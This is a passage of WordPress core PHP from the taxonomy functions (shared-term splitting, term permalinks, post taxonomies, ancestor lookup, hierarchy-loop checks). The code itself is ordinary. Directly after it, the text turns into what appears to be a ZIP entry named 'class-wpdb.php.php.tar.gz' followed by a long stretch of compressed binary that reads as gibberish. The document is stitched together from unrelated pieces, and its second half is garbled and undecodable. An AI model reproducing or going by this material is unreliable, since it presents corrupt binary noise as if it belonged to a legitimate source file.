once, outside the loop. $split_term_data = get_option( '_split_terms', array() ); $skipped_first_term = array(); $taxonomies = array(); foreach ( $shared_tts as $shared_tt ) { $term_id = (int) $shared_tt->term_id; // Don't split the first tt belonging to a given term_id. if ( ! isset( $skipped_first_term[ $term_id ] ) ) { $skipped_first_term[ $term_id ] = 1; continue; } if ( ! isset( $split_term_data[ $term_id ] ) ) { $split_term_data[ $term_id ] = array(); } // Keep track of taxonomies whose hierarchies need flushing. if ( ! isset( $taxonomies[ $shared_tt->taxonomy ] ) ) { $taxonomies[ $shared_tt->taxonomy ] = 1; } // Split the term. $split_term_data[ $term_id ][ $shared_tt->taxonomy ] = _split_shared_term( $shared_terms[ $term_id ], $shared_tt, false ); } // Rebuild the cached hierarchy for each affected taxonomy. foreach ( array_keys( $taxonomies ) as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } update_option( '_split_terms', $split_term_data ); delete_option( $lock_name ); } /** * In order to avoid the _wp_batch_split_terms() job being accidentally removed, * checks that it's still scheduled while we haven't finished splitting terms. * * @ignore * @since 4.3.0 */ function _wp_check_for_scheduled_split_terms() { if ( ! get_option( 'finished_splitting_shared_terms' ) && ! wp_next_scheduled( 'wp_split_shared_term_batch' ) ) { wp_schedule_single_event( time() + MINUTE_IN_SECONDS, 'wp_split_shared_term_batch' ); } } /** * Checks default categories when a term gets split to see if any of them need to be updated. * * @ignore * @since 4.2.0 * * @param int $term_id ID of the formerly shared term. * @param int $new_term_id ID of the new term created for the $term_taxonomy_id. * @param int $term_taxonomy_id ID for the term_taxonomy row affected by the split. * @param string $taxonomy Taxonomy for the split term. */ function _wp_check_split_default_terms( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) { if ( 'category' !== $taxonomy ) { return; } foreach ( array( 'default_category', 'default_link_category', 'default_email_category' ) as $option ) { if ( (int) get_option( $option, -1 ) === $term_id ) { update_option( $option, $new_term_id ); } } } /** * Checks menu items when a term gets split to see if any of them need to be updated. * * @ignore * @since 4.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id ID of the formerly shared term. * @param int $new_term_id ID of the new term created for the $term_taxonomy_id. * @param int $term_taxonomy_id ID for the term_taxonomy row affected by the split. * @param string $taxonomy Taxonomy for the split term. */ function _wp_check_split_terms_in_menus( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) { global $wpdb; $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT m1.post_id FROM {$wpdb->postmeta} AS m1 INNER JOIN {$wpdb->postmeta} AS m2 ON ( m2.post_id = m1.post_id ) INNER JOIN {$wpdb->postmeta} AS m3 ON ( m3.post_id = m1.post_id ) WHERE ( m1.meta_key = '_menu_item_type' AND m1.meta_value = 'taxonomy' ) AND ( m2.meta_key = '_menu_item_object' AND m2.meta_value = %s ) AND ( m3.meta_key = '_menu_item_object_id' AND m3.meta_value = %d )", $taxonomy, $term_id ) ); if ( $post_ids ) { foreach ( $post_ids as $post_id ) { update_post_meta( $post_id, '_menu_item_object_id', $new_term_id, $term_id ); } } } /** * If the term being split is a nav_menu, changes associations. * * @ignore * @since 4.3.0 * * @param int $term_id ID of the formerly shared term. * @param int $new_term_id ID of the new term created for the $term_taxonomy_id. * @param int $term_taxonomy_id ID for the term_taxonomy row affected by the split. * @param string $taxonomy Taxonomy for the split term. */ function _wp_check_split_nav_menu_terms( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) { if ( 'nav_menu' !== $taxonomy ) { return; } // Update menu locations. $locations = get_nav_menu_locations(); foreach ( $locations as $location => $menu_id ) { if ( $term_id === $menu_id ) { $locations[ $location ] = $new_term_id; } } set_theme_mod( 'nav_menu_locations', $locations ); } /** * Gets data about terms that previously shared a single term_id, but have since been split. * * @since 4.2.0 * * @param int $old_term_id Term ID. This is the old, pre-split term ID. * @return array Array of new term IDs, keyed by taxonomy. */ function wp_get_split_terms( $old_term_id ) { $split_terms = get_option( '_split_terms', array() ); $terms = array(); if ( isset( $split_terms[ $old_term_id ] ) ) { $terms = $split_terms[ $old_term_id ]; } return $terms; } /** * Gets the new term ID corresponding to a previously split term. * * @since 4.2.0 * * @param int $old_term_id Term ID. This is the old, pre-split term ID. * @param string $taxonomy Taxonomy that the term belongs to. * @return int|false If a previously split term is found corresponding to the old term_id and taxonomy, * the new term_id will be returned. If no previously split term is found matching * the parameters, returns false. */ function wp_get_split_term( $old_term_id, $taxonomy ) { $split_terms = wp_get_split_terms( $old_term_id ); $term_id = false; if ( isset( $split_terms[ $taxonomy ] ) ) { $term_id = (int) $split_terms[ $taxonomy ]; } return $term_id; } /** * Determines whether a term is shared between multiple taxonomies. * * Shared taxonomy terms began to be split in 4.3, but failed cron tasks or * other delays in upgrade routines may cause shared terms to remain. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id Term ID. * @return bool Returns false if a term is not shared between multiple taxonomies or * if splitting shared taxonomy terms is finished. */ function wp_term_is_shared( $term_id ) { global $wpdb; if ( get_option( 'finished_splitting_shared_terms' ) ) { return false; } $tt_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term_id ) ); return $tt_count > 1; } /** * Generates a permalink for a taxonomy term archive. * * @since 2.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param WP_Term|int|string $term The term object, ID, or slug whose link will be retrieved. * @param string $taxonomy Optional. Taxonomy. Default empty. * @return string|WP_Error URL of the taxonomy term archive on success, WP_Error if term does not exist. */ function get_term_link( $term, $taxonomy = '' ) { global $wp_rewrite; if ( ! is_object( $term ) ) { if ( is_int( $term ) ) { $term = get_term( $term, $taxonomy ); } else { $term = get_term_by( 'slug', $term, $taxonomy ); } } if ( ! is_object( $term ) ) { $term = new WP_Error( 'invalid_term', __( 'Empty Term.' ) ); } if ( is_wp_error( $term ) ) { return $term; } $taxonomy = $term->taxonomy; $termlink = $wp_rewrite->get_extra_permastruct( $taxonomy ); /** * Filters the permalink structure for a term before token replacement occurs. * * @since 4.9.0 * * @param string $termlink The permalink structure for the term's taxonomy. * @param WP_Term $term The term object. */ $termlink = apply_filters( 'pre_term_link', $termlink, $term ); $slug = $term->slug; $t = get_taxonomy( $taxonomy ); if ( empty( $termlink ) ) { if ( 'category' === $taxonomy ) { $termlink = '?cat=' . $term->term_id; } elseif ( $t->query_var ) { $termlink = "?$t->query_var=$slug"; } else { $termlink = "?taxonomy=$taxonomy&term=$slug"; } $termlink = home_url( $termlink ); } else { if ( ! empty( $t->rewrite['hierarchical'] ) ) { $hierarchical_slugs = array(); $ancestors = get_ancestors( $term->term_id, $taxonomy, 'taxonomy' ); foreach ( (array) $ancestors as $ancestor ) { $ancestor_term = get_term( $ancestor, $taxonomy ); $hierarchical_slugs[] = $ancestor_term->slug; } $hierarchical_slugs = array_reverse( $hierarchical_slugs ); $hierarchical_slugs[] = $slug; $termlink = str_replace( "%$taxonomy%", implode( '/', $hierarchical_slugs ), $termlink ); } else { $termlink = str_replace( "%$taxonomy%", $slug, $termlink ); } $termlink = home_url( user_trailingslashit( $termlink, 'category' ) ); } // Back compat filters. if ( 'post_tag' === $taxonomy ) { /** * Filters the tag link. * * @since 2.3.0 * @since 2.5.0 Deprecated in favor of {@see 'term_link'} filter. * @since 5.4.1 Restored (un-deprecated). * * @param string $termlink Tag link URL. * @param int $term_id Term ID. */ $termlink = apply_filters( 'tag_link', $termlink, $term->term_id ); } elseif ( 'category' === $taxonomy ) { /** * Filters the category link. * * @since 1.5.0 * @since 2.5.0 Deprecated in favor of {@see 'term_link'} filter. * @since 5.4.1 Restored (un-deprecated). * * @param string $termlink Category link URL. * @param int $term_id Term ID. */ $termlink = apply_filters( 'category_link', $termlink, $term->term_id ); } /** * Filters the term link. * * @since 2.5.0 * * @param string $termlink Term link URL. * @param WP_Term $term Term object. * @param string $taxonomy Taxonomy slug. */ return apply_filters( 'term_link', $termlink, $term, $taxonomy ); } /** * Displays the taxonomies of a post with available options. * * This function can be used within the loop to display the taxonomies for a * post without specifying the Post ID. You can also use it outside the Loop to * display the taxonomies for a specific post. * * @since 2.5.0 * * @param array $args { * Arguments about which post to use and how to format the output. Shares all of the arguments * supported by get_the_taxonomies(), in addition to the following. * * @type int|WP_Post $post Post ID or object to get taxonomies of. Default current post. * @type string $before Displays before the taxonomies. Default empty string. * @type string $sep Separates each taxonomy. Default is a space. * @type string $after Displays after the taxonomies. Default empty string. * } */ function the_taxonomies( $args = array() ) { $defaults = array( 'post' => 0, 'before' => '', 'sep' => ' ', 'after' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); echo $parsed_args['before'] . implode( $parsed_args['sep'], get_the_taxonomies( $parsed_args['post'], $parsed_args ) ) . $parsed_args['after']; } /** * Retrieves all taxonomies associated with a post. * * This function can be used within the loop. It will also return an array of * the taxonomies with links to the taxonomy and name. * * @since 2.5.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @param array $args { * Optional. Arguments about how to format the list of taxonomies. Default empty array. * * @type string $template Template for displaying a taxonomy label and list of terms. * Default is "Label: Terms." * @type string $term_template Template for displaying a single term in the list. Default is the term name * linked to its archive. * } * @return string[] List of taxonomies. */ function get_the_taxonomies( $post = 0, $args = array() ) { $post = get_post( $post ); $args = wp_parse_args( $args, array( /* translators: %s: Taxonomy label, %l: List of terms formatted as per $term_template. */ 'template' => __( '%s: %l.' ), 'term_template' => '%2$s', ) ); $taxonomies = array(); if ( ! $post ) { return $taxonomies; } foreach ( get_object_taxonomies( $post ) as $taxonomy ) { $t = (array) get_taxonomy( $taxonomy ); if ( empty( $t['label'] ) ) { $t['label'] = $taxonomy; } if ( empty( $t['args'] ) ) { $t['args'] = array(); } if ( empty( $t['template'] ) ) { $t['template'] = $args['template']; } if ( empty( $t['term_template'] ) ) { $t['term_template'] = $args['term_template']; } $terms = get_object_term_cache( $post->ID, $taxonomy ); if ( false === $terms ) { $terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] ); } $links = array(); foreach ( $terms as $term ) { $links[] = wp_sprintf( $t['term_template'], esc_attr( get_term_link( $term ) ), $term->name ); } if ( $links ) { $taxonomies[ $taxonomy ] = wp_sprintf( $t['template'], $t['label'], $links, $terms ); } } return $taxonomies; } /** * Retrieves all taxonomy names for the given post. * * @since 2.5.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @return string[] An array of all taxonomy names for the given post. */ function get_post_taxonomies( $post = 0 ) { $post = get_post( $post ); return get_object_taxonomies( $post ); } /** * Determines if the given object is associated with any of the given terms. * * The given terms are checked against the object's terms' term_ids, names and slugs. * Terms given as integers will only be checked against the object's terms' term_ids. * If no terms are given, determines if object is associated with any terms in the given taxonomy. * * @since 2.7.0 * * @param int $object_id ID of the object (post ID, link ID, ...). * @param string $taxonomy Single taxonomy name. * @param int|string|int[]|string[] $terms Optional. Term ID, name, slug, or array of such * to check against. Default null. * @return bool|WP_Error WP_Error on input error. */ function is_object_in_term( $object_id, $taxonomy, $terms = null ) { $object_id = (int) $object_id; if ( ! $object_id ) { return new WP_Error( 'invalid_object', __( 'Invalid object ID.' ) ); } $object_terms = get_object_term_cache( $object_id, $taxonomy ); if ( false === $object_terms ) { $object_terms = wp_get_object_terms( $object_id, $taxonomy, array( 'update_term_meta_cache' => false ) ); if ( is_wp_error( $object_terms ) ) { return $object_terms; } wp_cache_set( $object_id, wp_list_pluck( $object_terms, 'term_id' ), "{$taxonomy}_relationships" ); } if ( is_wp_error( $object_terms ) ) { return $object_terms; } if ( empty( $object_terms ) ) { return false; } if ( empty( $terms ) ) { return ( ! empty( $object_terms ) ); } $terms = (array) $terms; $ints = array_filter( $terms, 'is_int' ); if ( $ints ) { $strs = array_diff( $terms, $ints ); } else { $strs =& $terms; } foreach ( $object_terms as $object_term ) { // If term is an int, check against term_ids only. if ( $ints && in_array( $object_term->term_id, $ints, true ) ) { return true; } if ( $strs ) { // Only check numeric strings against term_id, to avoid false matches due to type juggling. $numeric_strs = array_map( 'intval', array_filter( $strs, 'is_numeric' ) ); if ( in_array( $object_term->term_id, $numeric_strs, true ) ) { return true; } if ( in_array( $object_term->name, $strs, true ) ) { return true; } if ( in_array( $object_term->slug, $strs, true ) ) { return true; } } } return false; } /** * Determines if the given object type is associated with the given taxonomy. * * @since 3.0.0 * * @param string $object_type Object type string. * @param string $taxonomy Single taxonomy name. * @return bool True if object is associated with the taxonomy, otherwise false. */ function is_object_in_taxonomy( $object_type, $taxonomy ) { $taxonomies = get_object_taxonomies( $object_type ); if ( empty( $taxonomies ) ) { return false; } return in_array( $taxonomy, $taxonomies, true ); } /** * Gets an array of ancestor IDs for a given object. * * @since 3.1.0 * @since 4.1.0 Introduced the `$resource_type` argument. * * @param int $object_id Optional. The ID of the object. Default 0. * @param string $object_type Optional. The type of object for which we'll be retrieving * ancestors. Accepts a post type or a taxonomy name. Default empty. * @param string $resource_type Optional. Type of resource $object_type is. Accepts 'post_type' * or 'taxonomy'. Default empty. * @return int[] An array of IDs of ancestors from lowest to highest in the hierarchy. */ function get_ancestors( $object_id = 0, $object_type = '', $resource_type = '' ) { $object_id = (int) $object_id; $ancestors = array(); if ( empty( $object_id ) ) { /** This filter is documented in wp-includes/taxonomy.php */ return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type ); } if ( ! $resource_type ) { if ( is_taxonomy_hierarchical( $object_type ) ) { $resource_type = 'taxonomy'; } elseif ( post_type_exists( $object_type ) ) { $resource_type = 'post_type'; } } if ( 'taxonomy' === $resource_type ) { $term = get_term( $object_id, $object_type ); while ( ! is_wp_error( $term ) && ! empty( $term->parent ) && ! in_array( $term->parent, $ancestors, true ) ) { $ancestors[] = (int) $term->parent; $term = get_term( $term->parent, $object_type ); } } elseif ( 'post_type' === $resource_type ) { $ancestors = get_post_ancestors( $object_id ); } /** * Filters a given object's ancestors. * * @since 3.1.0 * @since 4.1.1 Introduced the `$resource_type` parameter. * * @param int[] $ancestors An array of IDs of object ancestors. * @param int $object_id Object ID. * @param string $object_type Type of object. * @param string $resource_type Type of resource $object_type is. */ return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type ); } /** * Returns the term's parent's term ID. * * @since 3.1.0 * * @param int $term_id Term ID. * @param string $taxonomy Taxonomy name. * @return int|false Parent term ID on success, false on failure. */ function wp_get_term_taxonomy_parent_id( $term_id, $taxonomy ) { $term = get_term( $term_id, $taxonomy ); if ( ! $term || is_wp_error( $term ) ) { return false; } return (int) $term->parent; } /** * Checks the given subset of the term hierarchy for hierarchy loops. * Prevents loops from forming and breaks those that it finds. * * Attached to the {@see 'wp_update_term_parent'} filter. * * @since 3.1.0 * * @param int $parent_term `term_id` of the parent for the term we're checking. * @param int $term_id The term we're checking. * @param string $taxonomy The taxonomy of the term we're checking. * @return int The new parent for the term. */ function wp_check_term_hierarchy_for_loops( $parent_term, $term_id, $taxonomy ) { // Nothing fancy here - bail. if ( ! $parent_term ) { return 0; } // Can't be its own parent. if ( $parent_term === $term_id ) { return 0; } // Now look for larger loops. $loop = wp_find_hierarchy_loop( 'wp_get_term_taxonomy_parent_id', $term_id, $parent_term, array( $taxonomy ) ); if ( ! $loop ) { return $parent_term; // No loop. } // Setting $parent_term to the given value causes a loop. if ( isset( $loop[ $term_id ] ) ) { return 0; } // There's a loop, but it doesn't contain $term_id. Break the loop. foreach ( array_keys( $loop ) as $loop_member ) { wp_update_term( $loop_member, $taxonomy, array( 'parent' => 0 ) ); } return $parent_term; } /** * Determines whether a taxonomy is considered "viewable". * * @since 5.1.0 * * @param string|WP_Taxonomy $taxonomy Taxonomy name or object. * @return bool Whether the taxonomy should be considered viewable. */ function is_taxonomy_viewable( $taxonomy ) { if ( is_scalar( $taxonomy ) ) { $taxonomy = get_taxonomy( $taxonomy ); if ( ! $taxonomy ) { return false; } } return $taxonomy->publicly_queryable; } /** * Determines whether a term is publicly viewable. * * A term is considered publicly viewable if its taxonomy is viewable. * * @since 6.1.0 * * @param int|WP_Term $term Term ID or term object. * @return bool Whether the term is publicly viewable. */ function is_term_publicly_viewable( $term ) { $term = get_term( $term ); if ( ! $term ) { return false; } return is_taxonomy_viewable( $term->taxonomy ); } /** * Sets the last changed time for the 'terms' cache group. * * @since 5.0.0 */ function wp_cache_set_terms_last_changed() { wp_cache_set_last_changed( 'terms' ); } /** * Aborts calls to term meta if it is not supported. * * @since 5.0.0 * * @param mixed $check Skip-value for whether to proceed term meta function execution. * @return mixed Original value of $check, or false if term meta is not supported. */ function wp_check_term_meta_support_prefilter( $check ) { if ( get_option( 'db_version' ) < 34370 ) { return false; } return $check; } PK"$['!=ppclass-wpdb.php.php.tar.gznu[{_G0|?ńM ,0H#4H`6o6# l' fzr xһF˕$U4q Zp9I;I7W:(ϗݳb_s׏y>|ڣZ{1<_曵`u.3=7y ʗ_ ^e((|<:$K"OGyFu7o'b<?Iz DYӓg~Թ.|V7>HFwylGOəz-c1Xm}W3+>ƽ$AG n՚AZZx2:Ư7je%9wIHC1lA!> 8F2zɫٛVl[k+x MC9pePu<-H6 .q$IJL$FՋd!_gAZ\:50[_hS_!&\7ͯ8zz4e\$C! 1mlᩆ 3$84H#M)4#O$ $bf= .c?~g *kaa /ba < 4j?җJ?Hy,oBPaE8Ni4w!=u^|GY%Ern CqV3 Wv$אּfuKoGΈx>ʏ@8`5oGWS~8x: r)I)T*zz4wWV̧4̋ ΁ٻy٫3?qcɓ/'ʑU疕F5YxzS)thZdF9AG|~d_r*Wu1?q\ *Sm1'nu6 iIz nTGΒCAfcds"3+-`'MIOen^,b+OS|͚76^݈Amgl|Ԗ5/5XJ*2/ ^~>=q?.>xPH^RN*j}bI@۞9WɋB?OOd19{=!;gnƔ=C9{ &i o{ < G( gU̾dߦz9_W_=(r "{4 EIڈE!Xg"?t4Yu3JH.߭eW/;]g{yB(]SY'Gk7)h\?x&,^L smDТ\n?9Ie xhIAP"hzQA}.bOܭ?-"6$}wY3y$=zI'FzqIC~Ad (Q|6̐9ۇq {/NvwOÝps(<|>r^lchsໝ="Q&d |EG|L=b?'8d D#Eƶ"Ƭ7B$DꢳhNI,%tA?7fg ]\Hk3[Mm{5a;8]Z[Oa , -=\Gk,__#Csd\˃Qgxƨ-|aFC8夏./ͲLN6奵S` bCu-:糤tUF./߰?9Nj=X~]W\ !t\(N.qlVOjO(LFFAiȟB,4:/\J Uoܝ519hp@Lυdzw){kٓX#$ś\v\ڣɻgұx/_<˺M4sѹޜ\?wFlMGK_1A[3Tkg돉akD-r` ݯBż6~>ʬY./QpvqQX<Q]x]> \giLע .ˌIut#/% >ᅛ ($egRGn8Iɓe;p|E>7'+r(.Xdb{`8"_)*@M-Q#kvur# .L>t0Xۮyےt?&/5tε΄I0e^`ke]wpqeC:C*cķ-5^Qɠ p?ܧm8x`;(YM4o|7VV xh[?4Bזrc$/u¬V B tOP*d*_#2>P\-Qm8=%nrGVp~ixX%ja9k "7%K)3N-vKW| A {5 |\1 m9zf`fm ( yBtKT7>1ALb@be/5 0B<`6XRM.}[TSޣ ml8Ff%Hբ\(EvQZSe,V0E>jE`T3=#^ƽ';ý-ŏp<:4{sHM5L_5EF+FP[K`,_MjX, qj1D= *F_h0M@p7\# EƉzAH@[xJj(d̷ƒ,sn2DraPŖ UXƾ`YyŜgzEYHg77A<c4&f1h KR #Ȩ{Ys-ѲqWb{z1!n9l*min`ědf ƪ ҇r1&3 V\.8 Vi7F"$DȶdU$]:DQ'ƀ,90>!|7I/f!,ȱdU: ZY"2>9A*jUK~>$d/ KL` 9r<| !`uEe_hIluO7%5h(S{9J4 fX!Zw$ғVN U]!Emv= `/0*3d͗#(*VH㯸Bt;Pv8߽{2Y m-2,NXg;ǿd6Μ(>iƷtلVET/OoZ-pig C.` s7ah{"`m@-7]&5*Dm˨t~h́0vKGl>ςZ-XWC0#מgZܲx`(XBtcm{#1kAPBN܀!i"IbU@z,qc"bZZrЅ.HQusƟafI{UbzgE^3'J@T]WiUe. T.',_34=nA!"пFTXbJ<uq=4{"nk#H7GN֋j!NiN*ݠb`V L\|nd9i ʯ}|N>0"(8ϩ+GFh |9qqCX65>C .݄xP} S>N}Q xC!]L$UK1 W’Pۆ%։V U2fU e]}' H8G֜tE8"w!r83!=1S3'dU| ,E@?ie*).8#;bcO1Eu m!T,O;K< *#)IH&w@KzGͤcvX,tW0u}%ҕ[8.|Xe,eqZIm$;Wtŏ7Ry%7Ʃ]ѻ|皥vkH)K7bA*[Ds]%\*tUK fRd'I#>BQrM7ƻ>͓ݾ7v՘ow=1^݈6y^}e$$ždn{4 @P  W&ݐK`|QMFX ĢaHNQ(QZY=-HcW^}_w y,<]o҅"B|T0ՙ |Ad|=XZC;$/ua{` bE%&‚hX k;;?C4i dSNVӅYKU]fpH b7 7-b,,:+O $ kԸ$&P`!OѾ>hZ =(`ŭ"H [ޡ[J!"}_߈̀ L%|ij'9J\ ~"ٷ5*wEk%,0֋˂@t RdrKa/T~[m' ?#vlT T:WhA8T2[햲S5k(*#Yh@jXeRN~T bW$:~ue~.O ^kfEhn`) _Mv{܂$Cl*YfrG4ȃS%"7N_}Kj'm nLUqcݜ.uO++>G #G9<ͳ3b&nE;#}yrtL2RvDyUFaL`cL=03=dǩ37':.RŽX"v]&و!DyThyS ⿏SIb"8c#+̗&K95/*Vl? ք&XT,3L;]:mVU3j,Eti鴅Mt;Ѩˣr1ݝB VfqDX/k*g2{#L x E0YI#mIJ|p]JHx9e;vbSƓf2w7LȘ#JH sbnC߶H mN!-NjS}O1J0U)ub."!P{lJR{I 8=Ķ=qv7V8[&Ʃ761il[:5*etc"XyJgx^f2>#G´_4ȸm7BW̷1,NERe'DSB3FUEHeg{gFR3>95l,+Zs@˧Q`/*5C$q!qr ܬBk\&7=O v]T^ibعR/CyQ PR8R^[@@*fGs2k-^@kP 9p+8]AgMZ K.0Iyΰ(jLve (ofz:nEX!,yf_=]I.}o1:j QKoop4KuWxp8/5qynm#鬞CJ ӿ`VrWB$XTgrWBG1H>!P;S ױjXA6@ 95 >ZnOydHkȟqb8g.j)-0CAʦ'湱j[p+*v.pO}bۆ5-`D7X65Fџn%ʶ𾺞$5} Lf䱽B㈡qC>wC?$Ѳڽaj%Fmype~iuFs&Wh-pi(2Y3PI)/`{oNkc (`MKK{Suc=3fĺ3Dd dDhyOΦ'v5$NMbopqy9 ٻt"kI@q6 gYV1uv'Z͉D rsBE[4 xx!52G?NU%SX4'}'Zߩ{n `:\DjZċry|v+}rt2nX=y+fR5u%RvZVOU0 D[ڤ.|qzt >TZ7 F`)DEh_l >sc?FT$#G\`E#޷*(sߊDY4S[mo"xr3x<շ +mM3f9tYzCp0wCMbenjx*VIx<ʆ{3$5Tjkj}/-|!׭ 'SIFiӃzqonp@ ,"t`qX0>(M|_gLrq@iZʗj !a[ KkT`"',Tݻ)Sd_F7{p8( _k .J՗P%k-XN.F$g%aZwT~|Fـ*!D?}Wu]4 v&5r;AҦqR)Ӭdh1Y[)Vΐuׇ*5DZ4s,aDsIq +OiZ#^#p+n9υbFDRuf媲AaS}!VW!0;.M9TZZׁ-ER-vQIvQ?cGw|Y?ʣ.h&& `НOya&TQJgD )uI,<Y~#ӵ#lhiX+>VQj5ۺ: JF~QS%jX㞊i.z(ZUY&*RXʦf@N 彂eVl%Z2 n&]2'izdB4tjqf"A)=2u TU)1,c"\4ju2Y\Е6QBz9iU,vX~jrurFa2jt8t'+ ﹤( V}cظ[u.Y'R($n\Bwct:16M;Ӑ$vC |σ` ]=t) R~JX6aʉ/1p͛rd9zeDZUy C*@䅅o>!╇y4#:. |7lCe?/"Đ{=S)4ubsUjtG7ui=7oXK$jPF÷ k/_}>z,q[NUC"n$TD.dY%tn9H+SyoF+#:9*6 ʘvAM i{Q'dLhiuG`dtx0g^ʏZw^.&Y5Y=T|4ಿS*xLM XhkVHYXʃK7R&]`ĵ*ĮkYMN.di٭ 9i?bMh 6%S SBVn3<[$ PO2+;[Ǖ,W̦fsF~i7 ~Cνgz(yrr(Xx-] Un)\$1L@kqCC)g&0_<)"ϟvHSYLDr@fAʄehVY#)sg̗ȃ̭6Kl(|bG ϯw@3E0kfZπm'¯۷P8ֈA#xn؊mvsvq嫺5Y]Z n#$'-D }sa-j?/ZrtYuCTtўPeWyz|+܆ނ{ץˢL TZMGyUrA9DD@:x}YdcI U)p77fTG)r$e` / Lu)-Q-Jk?:Po%o/N Sv ~8t?ǩ$}əxT2ͮaBaսHM%yU880užG] PޤoMVN]žg3PwI}NqjbĠ;EX~Awkw?,(?nE|eK)QIF1ZwS=y=0ZJ)~1%֝ƶ/N Hql7Qk&(ED=(ubpnf$MƢ-bjX؀8̻L4:#K^~m6t3H )+N⻺۝b>.NP/`龁=oK oRi4'ght͛}Ǎ\jh(rY%%s;Se} ]b&ڇ?gx}j`|)`UILa!{bi3y7+ n??p\ull;?,Z7UA:dF3ד"/lheGd`6i w(:gʿ/J-9iVȈoraubӹB*Cm쓯-e8Sq.$@[{^w~{^X##s6;BaU9&{fo.Y=.WetwJhIj􍡸Z8!-S:ruIoPn6"Hr+i"H ;*%mzkDQ˷־y`YǟH2z;n2Λ~dr2x֧\~.UNr_ݖfB.$Θ^1d7el(YuKJc?cDuWMMo7"Ҕ(&ÄAod%as4f sBja+CFFn;N.Gn*Ik`jMHj`r};YCUrAob}I,caq'mZcrй#/!VRe+F(zWjgE'X_[m 1jCPJjE9ΫXhLF.9ÀhawdEyQASN*/wì4!{ ݿh^7՟U1nL- mn_ {V~.vзؒٛ H]dki㊷|#Gg9i_SrpxR~DK[,ȺX I&95۪e#ZʶSaF8i=  yJWT>uS=0'I(kʌ0KמvRgnkK+k,Gb3bH*8e.SQFJ\m|N>E2\6B}~5M *Tun@l|Y&GE'VJ2˧ѠwzR؏dcl4/; YfT^"1 +=6~v.}f6!ʼnfzyaGc`c}Q@ܹ3dFOhlM\PPU,Q7m!U,/ se9# DA^h9 XVe#;-,#Bi|'iC]F+_n+/lU6M&x ^{JL.f MgMgY˸+EL 崍ʶh⋶L5FoMAw0.9YFd {w}c qbV)ƤQg3"jd^df?> ;m"N M!'9Dݼ˶pcloX؆lm[ y{xqu%^nIVo)~gűx< m=,/ bUrHw[9U0 K)c ϓ Ĭ}`"X.U,omE*uYٕĭDܬ8g(B kYILyI%|}đ)c:ŪL}Nvwe34OR)pWʇ[5[ S/UdH\ CA\X bjGmZKF[ ۓZxԔͷ0l9s^_Ԙv^YJxHWI>9"kN,MJ !_,ʦonnmRRb얣+DxT ig}x\N)]e..0z*a))i p ?8yyKS !Nv~B0 [*PDń( ;hMxމc&oK) "b&ǘXKKN)>u|={uT˵D@r3/0~zlsJL:<<;?iן` w?xᡛO6QK`4?d:Tdt]=:FqVgJ)J)R¾bǟ]LѠ,H_Zp"dLJ< gТ.'Jn9R4Ku"?Y\<ګ\Nڬ1>"h,xs!H GAv[΁b94$3MeyeC~gBQ!-w^9br+RM* > C"\,)"z](^{It[C(IЁ:I8Mj\8^ ҩ5O=ŻCS$Fׅ\BTxz#֜ysagxOn\Ӡ.h?o, SKhp@d$Ϝ24{z7"bnƊÛ %ydV%%2|?$rOO>??cE[tI5,qYةd{g㬼SfiI8%[$%9UbQvG)$/j?fQm; S\+-󱪋E!O 祊dÓmbh"+Gktб):QN * a=fgv_ % ]NS=E% Ieͫ>͔WGGёڹpxJ.LV_-`kL)fgP\SX\䵛S/=DbZEb~rY,R~>֠Ybm>v3h[;qTp? Οi gQVqUx+~Vtfl"Q*A#xwnFfy7k$b^D&+4/c<]OH>\tFP'45TKReQrQ_#6˿DmLk).(:[m ͭM&=-͡ j1/޸xH3J P1zc%]fƝm }itRgJy*Cqa.璕v[HЗc0}^56X.qn_MIc\{WOs%$'dwUoKY'%yX1C#Z_瓲>*BB:.{X lgD*f3a.Ǫ-X~]~ h'ɭ _n :ϹXoJ݉xp^F#N{ܾ&NdJQ? s|(9#{ۍr=9ݚ G=}ÚF>==* kf]Fg4OR0SS..g D2#dM_Y4}.`Xe \Prʉ]GM_AP` J_'uxTOXeMRPraiB$]CJ+vv],9ۢLcWBfQV&7OSh|klQhz _7 RB~E ]A=i-^cz|-v|RqY 6ꌽݍ:0/OȦ4 xfk ] %r_⸩D\16%Ož^jS)y$F"xb)lS:U,Di-j1r[^q}@-5Aßl'C`87o&y'u{ǫTi~]Yх n2SGO7`Tq)H )8iG%L /]{؊|I#%."o%_5!qXgjDOl׭Qxv {f@H[+?E1 j^Ps9{NaLӢ `,}^#R8Zaذʨ|;ehxl>nBx=Sm)8O\YoSvLY, 8;sA&qn "9p~ F2KJ)}/~ve2B"Zc=`1Vj灺Te[Zt E]+4$ahIFI2fpԃNղiS䉜zuY>#g\ǎDݢyǥdsTu1Ht<=΢*nHy9D a?%5uB`acgdz&]ktz-*g~aE!)bV hY; oy^|f;֜ES ׾[wyB U*d*Lf}Ҳ0^PWΒV=_P2D[db X UքYB.~rK{5DC[RU^ XF8= mx)zb,)-ggWjoezZ莯9cg ? tɗh0W8y $ePʶ$P&3g^gZe,OTo|i[`c,WI3n˧?UĆi9RsӬa y`U+iGԖ q ?\ /n U%S aśSrnެ85ȘSj6"*+dBmQnalS z|Ϳ)3y0!˖[p3 (4$^}l5 ƆdjF|k>qg_%cd+rhdݳdɩ! i1$AV6Ԗb^jk?31; Z5Ȯ<~T22l~,k~Ꜻ^ &Aqco 8 | w(h e]2Q|>P`87vv\"%gs^ԀRF%WmJ`7 .c$M Jǚa(S2$Y0r;G'P:knqemӒ'@ r/Ɏ,d)|%Udq g!sL5Rx`4Zl 4=pv@T7yvݣEACU)dD3uG%rG"#^ҍ1]0n7v RlrI#XbQFY2aT1ؙQeg-O(i< _Š١N 